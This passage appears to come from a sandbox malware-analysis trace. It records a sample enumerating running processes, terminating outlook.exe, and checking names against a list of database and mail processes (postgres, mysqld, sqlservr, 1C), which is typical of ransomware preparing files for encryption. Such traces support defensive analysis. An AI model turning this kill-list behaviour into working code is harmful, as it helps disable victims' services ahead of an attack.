(in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0088.583] lstrlenW (lpString="dwm.exe") returned 7 [0088.583] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x54, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0088.584] lstrlenW (lpString="svchost.exe") returned 11 [0088.584] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0088.584] lstrlenW (lpString="svchost.exe") returned 11 [0088.584] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0088.585] lstrlenW (lpString="svchost.exe") returned 11 [0088.585] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0088.586] lstrlenW (lpString="svchost.exe") returned 11 [0088.586] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0088.586] lstrlenW (lpString="svchost.exe") returned 11 [0088.586] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0088.587] lstrlenW (lpString="svchost.exe") returned 11 [0088.587] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x554, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0088.588] lstrlenW (lpString="svchost.exe") returned 11 [0088.588] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0088.589] lstrlenW (lpString="svchost.exe") returned 11 [0088.589] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0088.589] lstrlenW (lpString="svchost.exe") returned 11 [0088.589] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0088.590] lstrlenW (lpString="svchost.exe") returned 11 [0088.590] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0088.591] lstrlenW (lpString="spoolsv.exe") returned 11 [0088.591] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0088.591] lstrlenW (lpString="svchost.exe") returned 11 [0088.591] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x554, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0088.592] lstrlenW (lpString="audiodg.exe") returned 11 [0088.592] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x708, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0088.593] lstrlenW (lpString="sihost.exe") returned 10 [0088.593] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x720, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0088.594] lstrlenW (lpString="svchost.exe") returned 11 [0088.594] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0088.594] lstrlenW (lpString="taskhostw.exe") returned 13 [0088.594] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3a, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0088.595] lstrlenW (lpString="explorer.exe") returned 12 [0088.595] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x818, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0088.596] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0088.596] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x84c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0088.596] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0088.596] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0088.597] lstrlenW (lpString="Memory Compression") returned 18 [0088.597] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0088.598] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0088.598] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0088.598] lstrlenW (lpString="SearchUI.exe") returned 12 [0088.598] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0088.599] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0088.599] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0088.622] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0088.622] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="pending.exe")) returned 1 [0088.623] lstrlenW (lpString="pending.exe") returned 11 [0088.623] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="bug workers.exe")) returned 1 [0088.624] lstrlenW (lpString="bug workers.exe") returned 15 [0088.624] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x38c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="succeed.exe")) returned 1 [0088.625] lstrlenW (lpString="succeed.exe") returned 11 [0088.625] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="springs antonio washer.exe")) returned 1 [0088.625] lstrlenW (lpString="springs antonio washer.exe") returned 26 [0088.625] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="bookings.exe")) returned 1 [0088.626] lstrlenW (lpString="bookings.exe") returned 12 [0088.626] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="tramadol for.exe")) returned 1 [0088.627] lstrlenW (lpString="tramadol for.exe") returned 16 [0088.627] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x550, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="freezenegotiationsg.exe")) returned 1 [0088.627] lstrlenW (lpString="freezenegotiationsg.exe") returned 23 [0088.627] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="starter detection.exe")) returned 1 [0088.628] lstrlenW (lpString="starter detection.exe") returned 21 [0088.628] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="unified aus.exe")) returned 1 [0088.655] lstrlenW (lpString="unified aus.exe") returned 15 [0088.655] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="taiwan registration.exe")) returned 1 [0088.656] lstrlenW (lpString="taiwan registration.exe") returned 23 [0088.656] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="idolcollectibles.exe")) returned 1 [0088.657] lstrlenW (lpString="idolcollectibles.exe") returned 20 [0088.657] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="headlines.exe")) returned 1 [0088.657] lstrlenW (lpString="headlines.exe") returned 13 [0088.657] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="ash-method.exe")) returned 1 [0088.658] lstrlenW (lpString="ash-method.exe") returned 14 [0088.658] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="jane_conscious_information.exe")) returned 1 [0088.659] lstrlenW (lpString="jane_conscious_information.exe") returned 30 [0088.659] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="programmes officially.exe")) returned 1 [0088.660] lstrlenW (lpString="programmes officially.exe") returned 25 [0088.660] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="gerald_cdna_charleston.exe")) returned 1 [0088.660] lstrlenW (lpString="gerald_cdna_charleston.exe") returned 26 [0088.661] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="george-depending.exe")) returned 1 [0088.661] lstrlenW (lpString="george-depending.exe") returned 20 [0088.661] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="examinationrecipes.exe")) returned 1 [0088.662] lstrlenW (lpString="examinationrecipes.exe") returned 22 [0088.662] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="repeat go.exe")) returned 1 [0088.672] lstrlenW (lpString="repeat go.exe") returned 13 [0088.672] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="showcase.exe")) returned 1 [0088.673] lstrlenW (lpString="showcase.exe") returned 12 [0088.673] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0088.674] lstrlenW (lpString="3dftp.exe") returned 9 [0088.674] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0088.675] lstrlenW (lpString="absolutetelnet.exe") returned 18 [0088.675] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0088.677] lstrlenW (lpString="alftp.exe") returned 9 [0088.677] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0088.678] lstrlenW (lpString="barca.exe") returned 9 [0088.678] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0088.679] lstrlenW (lpString="bitkinex.exe") returned 12 [0088.679] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x868, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0088.680] lstrlenW (lpString="coreftp.exe") returned 11 [0088.680] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x910, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0088.682] lstrlenW (lpString="far.exe") returned 7 [0088.682] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdfc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0088.683] lstrlenW (lpString="filezilla.exe") returned 13 [0088.683] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0088.684] lstrlenW (lpString="flashfxp.exe") returned 12 [0088.684] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0088.685] lstrlenW (lpString="fling.exe") returned 9 [0088.685] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0088.686] lstrlenW (lpString="foxmailincmail.exe") returned 18 [0088.686] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0088.688] lstrlenW (lpString="gmailnotifierpro.exe") returned 20 [0088.688] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0088.689] lstrlenW (lpString="icq.exe") returned 7 [0088.689] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0088.690] lstrlenW (lpString="leechftp.exe") returned 12 [0088.690] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xea4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0088.691] lstrlenW (lpString="ncftp.exe") returned 9 [0088.692] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0088.693] lstrlenW (lpString="notepad.exe") returned 11 [0088.693] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xed8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0088.694] lstrlenW (lpString="operamail.exe") returned 13 [0088.694] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xef4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0088.695] lstrlenW (lpString="outlook.exe") returned 11 [0088.695] OpenProcess (dwDesiredAccess=0x1, bInheritHandle=0, dwProcessId=0xef4) returned 0x244 [0088.696] TerminateProcess (hProcess=0x244, uExitCode=0x0) returned 1 [0088.734] CloseHandle (hObject=0x244) returned 1 [0088.734] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0088.735] lstrlenW (lpString="pidgin.exe") returned 10 [0088.735] lstrcmpiW (lpString1="1c8.exe", lpString2="pidgin.exe") returned -1 [0088.735] lstrcmpiW (lpString1="1cv77.exe", lpString2="pidgin.exe") returned -1 [0088.736] lstrcmpiW (lpString1="outlook.exe", lpString2="pidgin.exe") returned -1 [0088.736] lstrcmpiW (lpString1="postgres.exe", lpString2="pidgin.exe") returned 1 [0088.736] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="pidgin.exe") returned -1 [0088.736] lstrcmpiW (lpString1="mysqld.exe", lpString2="pidgin.exe") returned -1 [0088.736] lstrcmpiW (lpString1="sqlservr.exe", lpString2="pidgin.exe") returned 1 [0088.736] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0088.737] lstrlenW (lpString="scriptftp.exe") returned 13 [0088.737] lstrcmpiW (lpString1="1c8.exe", lpString2="scriptftp.exe") returned -1 [0088.737] lstrcmpiW (lpString1="1cv77.exe", lpString2="scriptftp.exe") returned -1 [0088.737] lstrcmpiW (lpString1="outlook.exe", lpString2="scriptftp.exe") returned -1 [0088.737] lstrcmpiW (lpString1="postgres.exe", lpString2="scriptftp.exe") returned -1 [0088.737] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="scriptftp.exe") returned -1 [0088.737] lstrcmpiW (lpString1="mysqld.exe", lpString2="scriptftp.exe") returned -1 [0088.737] lstrcmpiW (lpString1="sqlservr.exe", lpString2="scriptftp.exe") returned 1 [0088.737] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0088.738] lstrlenW (lpString="skype.exe") returned 9 [0088.738] lstrcmpiW (lpString1="1c8.exe", lpString2="skype.exe") returned -1 [0088.738] lstrcmpiW (lpString1="1cv77.exe", lpString2="skype.exe") returned -1 [0088.738] lstrcmpiW (lpString1="outlook.exe", lpString2="skype.exe") returned -1 [0088.739] lstrcmpiW (lpString1="postgres.exe", lpString2="skype.exe") returned -1 [0088.739] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="skype.exe") returned -1 [0088.739] lstrcmpiW (lpString1="mysqld.exe", lpString2="skype.exe") returned -1 [0088.739] lstrcmpiW (lpString1="sqlservr.exe", lpString2="skype.exe") returned 1 [0088.739] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, 